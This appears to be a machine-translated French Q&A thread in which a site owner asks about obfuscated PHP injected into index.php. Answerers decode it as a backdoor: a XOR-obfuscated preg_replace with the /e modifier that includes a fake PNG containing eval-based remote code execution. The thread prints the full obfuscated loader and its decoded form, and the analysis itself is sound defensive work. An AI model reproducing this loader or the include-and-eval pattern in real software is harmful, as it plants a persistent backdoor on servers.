web-dev-qa-db-fra.com

Trouvé suspect, obscurci PHP. Est-ce une tentative de piratage sur mon site Web?

Je viens de remarquer que la ligne supérieure de mon fichier index.php a été remplacée par ce qui est ci-dessous.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

Cela me semble très suspect, et je sais généralement ce que preg_replace Est-ce que. Cependant, je ne sais pas comment décoder le sujet, le motif ou les chaînes de remplacement.

Quelqu'un peut-il me dire

  1. Que fera réellement ce code?
  2. Comment est-il possible qu'un fichier supposément verrouillé PHP puisse être mis à jour sur le serveur?
73
Scott

Que fera réellement ce code?

Vous avez une porte dérobée qui permet l'exécution de code à distance

OH THE NOES IVE GOT AN RCE


Crédit à borjab pour le décodage initial

<?php preg_replace("#(.+)#ie",
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Notez cette chaîne encodée en base64 que nous avons trouvée dans le premier fichier:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

Lors du décodage de cette chaîne, il pointe vers ce fichier:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Le fichier "image" n'est pas ce qu'il semble être.

kayge a souligné que le fichier est évidemment accessible en ligne. J'ai donc téléchargé votre "image", c'est là que se passe le vrai hack. Le premier script tente de charger le contenu de cette image.

À l'intérieur de l'image de simulation, il y a deux instructions eval() qui permettent l'exécution complète de code arbitraire lors de la vérification de $GLOBALS[ooooOOOOo(0)].

Cela ne se produit que si l'attaquant tente de définir cette variable. 99% du temps lorsque vous voyez eval(), tout ce que vous devez vraiment savoir, c'est que l'intégralité de votre serveur Web est compromise par l'exécution de code à distance. Voici ce qu'il fait:

eval(gzuncompress(base64_decode("evil_payload")));

Bien sûr, vous étiez déjà compromis par une forme d'exploitation , mais cela donne à l'attaquant une porte dérobée obscurcie sur votre serveur Web à laquelle il peut accéder en permanence, même si vous deviez corriger le problème en leur permettant d'écrire des fichiers en premier lieu.


Quel est le contenu du gunzip diabolique?

  1. Vous pouvez les voir ici .
  2. À l'intérieur de ce qui précède, voici n autre vidage d'encodage (Merci, Technik Empire )
  3. Technik Empire juste grandement contribué à la désobfuscation du contenu de # 2 .
  4. nneonneo nettoyé encore plus .

Pourquoi cela arrive-t-il?

Comment est-il possible qu'un fichier supposément verrouillé PHP puisse être mis à jour sur le serveur?

C'est trop large pour répondre sans avoir accès à tout. Vous pouvez avoir un renforcement incorrect de votre installation du système de gestion de contenu , ou il peut y avoir une vulnérabilité quelque part dans votre pile Web. Peu m'importe de visiter votre site Web compte tenu de ce qui se passe, vous pouvez donc vérifier ces liens s'ils font partie de votre CMS:

  1. Liste de contrôle de sécurité Joomla
  2. durcissement WordPress
  3. Liste de contrôle de déploiement Django

Si votre CMS n'est pas répertorié, recherchez les listes de contrôle de renforcement/sécurité pour votre installation CMS. Si vous utilisez pas en utilisant un CMS, mais plutôt votre propre code, c'est à vous de corriger vos failles de sécurité.

Il pourrait y avoir un certain nombre de raisons pour lesquelles cela se produit ... mais le résultat est: soit votre hébergeur a été piraté, soit vous avez un exploit sur votre site Web qui permet à des individus malveillants d'insérer du code supplémentaire et de leur donner un contrôle total sur votre site web ... pendant ce temps, ils attaquent attaquent vos visiteurs.

138
Mark Buffalo

La réponse courte est: si le code a été ajouté par quelqu'un que vous ne connaissez pas, alors il est malveillant, peu importe ce qu'il fait.

Votre serveur a été compromis et vous devez effectuer un nettoyage complet.

Quant à la façon dont il a été ajouté, il n'y a aucun moyen pour nous de savoir sans une enquête complète sur votre serveur.

80
schroeder

A PHP a été modifié, vous avez donc rencontré bien plus qu'une tentative de piratage .

La machine est compromise.

Vous avez besoin d'une installation de système d'exploitation propre; et pour recharger le code de votre site à partir du développement (ou d'une autre sauvegarde).

Si vous avez le temps et que vous êtes paranoïaque, il vaudrait probablement la peine de considérer que votre base de données pourrait contenir du code d'attaque XSS qui pourrait être déclenché par vos utilisateurs finaux.

22
trognanders

Il semble que ce code masque le code suivant en utilisant l'opérateur XOR sur deux chaînes comme binaires:

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode("\1"));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Vous pouvez le tester dans un sandbox PHP . La grande chaîne générée ci-dessus est une chaîne encodée en base64 :

/home4/mitzvahc/public_html/assets/img/logo_small.png

Pourquoi utilise-t-il preg_replace? Il semble y avoir un problème de sécurité qui permet l'exécution de code mais cela pourrait être juste pour l'obscurcissement de code.

19
borjab

Dans ce cas, oui mais pas tous les cas. Je sais que certaines personnes rencontreront cette question, donc cette réponse est destinée à un public plus large:

Les hôtes Web font des choses géniales et j'ai eu beaucoup d'hôtes Web. Vous voudrez peut-être résoudre le fichier temporairement jusqu'à ce que vous ayez eu la possibilité d'appeler votre hébergeur et de déterminer s'il y était pour quelque chose.

Il existe apparemment plusieurs façons de pirater PHP dont une qui vous permet d'accéder à tout sur le serveur en dehors du chemin de votre compte (sur l'hébergement partagé par exemple) et vous pourrez voir le code d'autres personnes, il est donc possible que votre compte puisse être piraté pour regarder n autre le code du compte, ce qui est une autre raison d'éviter l'hébergement partagé si vous pouvez vous le permettre.

Par défaut, présumez que ce n'est pas un fichier sûr et déplacez-le ou renommez-le jusqu'à ce que vous puissiez confirmer avec votre hébergeur.

0
John